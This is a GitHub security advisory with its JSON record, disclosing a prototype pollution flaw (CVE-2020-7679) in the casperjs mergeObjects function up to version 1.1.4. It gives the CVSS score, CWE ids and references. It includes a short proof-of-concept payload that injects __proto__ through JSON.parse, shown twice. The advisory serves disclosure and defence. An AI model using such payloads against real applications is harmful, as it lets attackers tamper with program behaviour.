GHSA-VRR3-5R3V-7XFW

Vulnerability from github – Published: 2021-05-17 21:00 – Updated: 2023-09-13 19:52
VLAI?
Summary
Improperly Controlled Modification of Dynamically-Determined Object Attributes in casperjs
Details

Overview

casperjs is a navigation scripting & testing utility for PhantomJS and SlimerJS.

Affected versions of this package are vulnerable to Prototype Pollution via the mergeObjects utility function.

PoC

var payload = JSON.parse('{"__proto__": {"a": "pwned"}}');
mergeObjects({}, payload);
console.log({}.a); // prints "pwned"
Severity ?
7.3 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "casperjs"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "1.1.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2020-7679"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1321",
      "CWE-915"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2021-05-11T22:26:54Z",
    "nvd_published_at": "2020-06-19T11:15:00Z",
    "severity": "HIGH"
  },
  "details": "### Overview\ncasperjs is a navigation scripting \u0026 testing utility for PhantomJS and SlimerJS.\n\nAffected versions of this package are vulnerable to Prototype Pollution via the mergeObjects utility function.\n\n### PoC\n```js\nvar payload = JSON.parse(\u0027{\"__proto__\": {\"a\": \"pwned\"}}\u0027);\nmergeObjects({}, payload);\nconsole.log({}.a); // prints \"pwned\"\n```",
  "id": "GHSA-vrr3-5r3v-7xfw",
  "modified": "2023-09-13T19:52:14Z",
  "published": "2021-05-17T21:00:52Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-7679"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/casperjs/casperjs"
    },
    {
      "type": "WEB",
      "url": "https://github.com/casperjs/casperjs/blob/master/modules/utils.js%23L680"
    },
    {
      "type": "WEB",
      "url": "https://snyk.io/vuln/SNYK-JAVA-ORGWEBJARSBOWER-572804"
    },
    {
      "type": "WEB",
      "url": "https://snyk.io/vuln/SNYK-JS-CASPERJS-572803"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Improperly Controlled Modification of Dynamically-Determined Object Attributes in casperjs"
}


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